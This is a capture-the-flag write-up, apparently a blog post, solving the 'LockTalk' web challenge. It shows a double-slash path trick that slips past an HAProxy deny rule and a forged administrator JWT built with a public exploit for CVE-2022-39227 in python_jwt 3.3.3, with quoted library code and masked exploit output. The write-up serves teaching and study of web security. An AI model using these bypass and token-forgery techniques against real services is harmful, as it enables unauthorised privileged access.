Cyber Apocalypse 2024 Hacker Royale: LockTalk
Author: dhmosfunk
The link to the source code.
The challenge includes:
a webpage with three endpoints presented on the webpage:
a zip file with a web application that includes:
the challenge directory with:
an `api/json` directory with JSON files,
an `api/routes.py` file that includes part of the Flask app with three endpoints shown in the screenshot above,
a ‘middleware/middleware.py’ that verifies the JWT token and checks if a given user has access to the requested endpoint,
a `config.py` file with a fake flag and JWT secret,
the conf directory with:
`haproxy.cfg` - the configuration file for HAProxy - a load balancer and proxy server that routes and manages incoming traffic,
`requirements.txt` with a list of used technologies.
Overview
Let’s look at the endpoints:
Get a ticket:
First, we try to generate a JWT token, but we get the error message:
When we look at the below code of `api/routes.py`, a function that gets a ticket, it doesn’t show any restriction by middleware or the code itself. The code creates a JWT token for a guest user, so at first sight, the error message looks strange. For now, let’s move on to the next endpoint.
@api_blueprint.route('/get_ticket', methods=['GET'])
def get_ticket():
claims = {
"role": "guest",
"user": "guest_user"
}
token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
return jsonify({'ticket: ': token})Find a chat:
The endpoint that helps find history chat using a JWT token and chat ID. What we can see from the code belo is that middleware authorised both `guest` and `administrator` users. At the moment, we cannot generate any valid JWT token, so we cannot test it.
@api_blueprint.route('/chat/<int:chat_id>', methods=['GET']) @authorize_roles(['guest', 'administrator']) def chat(chat_id): json_file_path = os.path.join(JSON_DIR, f"{chat_id}.json") if os.path.exists(json_file_path): with open(json_file_path, 'r') as f: chat_data = json.load(f) chat_id = chat_data.get('chat_id', None) return jsonify({'chat_id': chat_id, 'messages': chat_data['messages']}) else: return jsonify({'error': 'Chat not found'}), 404Get the flag:
This endpoint makes the challenge clear. We need to find a way to create a JWT token with an `administrator` role.
@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
return jsonify({'message': current_app.config.get('FLAG')}), 200JWT
JWT stands for JSON Web Token and is used for user authentication and secure communication in distributed systems like microservices.
JWT can be represented in multiple ways. The most common is JSON JWS (JSON Web Signature) Compact Serialization. It consists of a string with three base64 URL-encoded parts (header, payload, signature), separated by dots:
It translates into:
Header: The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.
Payload: The payload.
Signature: The signature part is created by taking the base64 URL-encoded header, the base64 URL-encoded payload, and a secret or a private key and signing them using the algorithm specified in the header.
It can also be represented in other formats like JWS Flattened JSON Serialization form. It will play later in the solution, so I will explain this representation. The structure is as follows:
In practice, it looks like this:
{
"payload": "SXTigJlzIxxxx",
"protected": "eyJhbGciOiJIUzI1NiJ9",
"header": {
"kid": "018c0ae5-4d9b-471b-bfd6-eef314bc7037"
},
"signature": "bWUSVaxorn7bEF1djytBd0kHv70Ly5pvbomzMWSOr20"
}
Source: Rip Tutorial, Flattened JWS JSON Serialization Syntax The structure is different from the previous one because it is represented as a base64 URL-encoded JSON. The representation is useful when additional metadata has to be included. Thanks to selective encryption in this JWT, only part of the message can be encrypted. The second reason is that when control mechanisms need to be included. For example, additional information about cryptographic operations like key ID is used for signing or encryption in systems where multiple keys are used. Overall, it is mostly used in huge systems, which need to be more flexible.
Create a guest token
First, let’s generate the JWT token using `/api/v1/get_ticket` endpoint. We need to take a closer look at why the endpoint displays an error. When reading the code, I found that the HAProxy configuration file `haproxy.cfg` denies all decoded HTTP paths that start with `/api/v1/get_ticket`.
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }I bypassed the `if` by just trying to edit the URL slightly, so it doesn’t start from `/api/v1/get_ticket`. When I added two slashes to the path: URL //api/v1/get_ticket, it returned a JWT. It bypasses the HAProxy filter, but later, Flask removes the double slashes and matches them to the correct endpoint.
{"ticket: ":"eyJhbxxxxx.eyJlexxxxxxg.ZIxxxxxxxxxxxx"}
Which looks like this:
Get an admin role
Right now, we have a working JWT. However, it still doesn’t allow us to read the flag because the middleware presented below allows us to access ` /api/v1/flag` only with an `administrator` role, while `/api/v1/get_ticket` generates JWT with a `guest` role. Let’s look at the code and find a vulnerability that makes us admin!
def authorize_roles(roles):
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
…
try:
token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
user_role = token[1]['role']
…
except Exception as e:
return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
return wrapper
return decorator
As we see above JWT token is verified using `python-jwt` library. What caught my attention was that in `requirements.txt`, the `python-jwt` library is specified more in more detail than others:
uwsgi
Flask
requests
python_jwt==3.3.3After googling, I found a critical vulnerability (CVE-2022-39227) in `python_jwt` version 3.3.3 on GitHub. Quoting the webpage:
The vulnerability allows an attacker, who possesses a single valid JWT, to create a new token with forged claims that the verify_jwt function will accept as valid.
This is the exact place we are at right now. We can generate valid JWT but only with a `guest` claim.
Is it possible to just use the exploit from GitHub to modify our `guest` token to the `administrator` role, but let’s understand why this exploit works.
On the GitHub page, the vulnerability cause is described as:
The issue is caused by an inconsistency between the JWT parsers used by python-jwt and its dependency jwcrypto. By mixing compact and JSON representations, an attacker can trick jwcrypto of parsing different claims than those over which a signature is validated by jwcrypto.
It seems that `python-jwt` library used for JWT generation and verification incorrectly parses the JWT token, but why?
Let’s look at `verify_jwt` function. The code extracts the header and claims without a signature (1), followed by parsing a header (2). Next, the important step is token deserialisation, which should verify the signature (3) and parsing of the claims. As a last step, it returns `parsed_header`and`parsed_claims`.
def verify_jwt(...):
…
(1) header, claims, _ = jwt.split('.')
(2) parsed_header = json_decode(base64url_decode(header))
alg = parsed_header.get('alg')
if alg is None:
raise _JWTError('alg header not present')
if alg not in allowed_algs:
raise _JWTError('algorithm not allowed: ' + alg)
if not ignore_not_implemented:
for k in parsed_header:
if k not in JWSHeaderRegistry:
raise _JWTError('unknown header: ' + k)
if not JWSHeaderRegistry[k].supported:
raise _JWTError('header not implemented: ' + k)
if pub_key:
token = JWS()
token.allowed_algs = allowed_algs
(3)`token.deserialize(jwt, pub_key)
elif 'none' not in allowed_algs:
raise _JWTError('no key but none alg not allowed')
parsed_claims = json_decode(base64url_decode(claims))
…
# jwt error handling
(4) return parsed_header, parsed_claims
But why is the above code problematic?
In short, the validation of a signature and the extraction of claims are performed in two different places, with a somewhat different logic.
The `deserialization` function from `jwcrypto` first tries to parse a JWT from JSON format, and only if it fails, then tries to parse as a string with three dots.
def deserialize(self, raw_jws, key=None, alg=None):
self.objects = {}
o = {}
try:
try:
(1)djws = json_decode(raw_jws)
if 'signatures' in djws:
o['signatures'] = []
for s in djws['signatures']:
os = self._deserialize_signature(s)
o['signatures'].append(os)
self._deserialize_b64(o, os.get('protected'))
else:
o = self._deserialize_signature(djws)
self._deserialize_b64(o, o.get('protected'))
if 'payload' in djws:
if o.get('b64', True):
o['payload'] = base64url_decode(str(djws['payload']))
else:
o['payload'] = djws['payload']
except ValueError:
(2)data = raw_jws.split('.')
if len(data) != 3:
raise InvalidJWSObject('Unrecognized'
' representation') from None
p = base64url_decode(str(data[0]))
if len(p) > 0:
o['protected'] = p.decode('utf-8')
self._deserialize_b64(o, o['protected'])
o['payload'] = base64url_decode(str(data[1]))
o['signature'] = base64url_decode(str(data[2]))
self.objects = o
except Exception as e: # pylint: disable=broad-except
raise InvalidJWSObject('Invalid format') from e
if key:
self.verify(key, alg)
As a result, we can prepare a payload that combines both formats: JSON JWS Compact Serialization and JWS Flattened JSON Serialization, so a signature will be verified for claims that are different from what they should be.
To sum up, the code verifies the signature with `jwtcrypto`, but returns `parsed_header` and `parsed_claims` from the original payload parsed by `python-jwt`. In secure code, we should use values parsed by deserialization, e.g. `token.payload`, to ensure that the logic that does the verification and deserialization uses the same algorithm.
The code `python-jwt` was patched by function `_check_jwt_format` presented below. It uses regex which tries to verify if JWT is in compact format. I think such a regex could be an additional check, not the main method to check a format. However, all in all, probably, it may works.
_jwt_re = re.compile(r'^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$')
def _check_jwt_format(jwt):
if not _jwt_re.match(jwt):
raise _JWTError('invalid JWT format')Exploit
Let's look at the exploit. It takes:
and turns into:
Let’s use the exploit and get a flag. We take a generated JWT for the guest and just run the code:
python3 cve_2022_39227.py -j eyJhbGxxx -i "role=administrator"
…
[+] New token:
{" eyxxx.eyxxxciJ9.":"","protected":"eyxxx", "payload":"eyxxx","signature":"J1Txxx"}Finally, we get the payload `new token` that will give us a flag:
Let me know in the comments if you have any questions or if you’d like to see a solution to any other web CTF task!
Happy hacking! Bye!
PS
I also highly recommend the talk Three New Attacks Against JSON Web Tokens and slides by Tom Tervoort who found JWT vulnerability. The talk goes much deeper into JWT exploitation than this article.














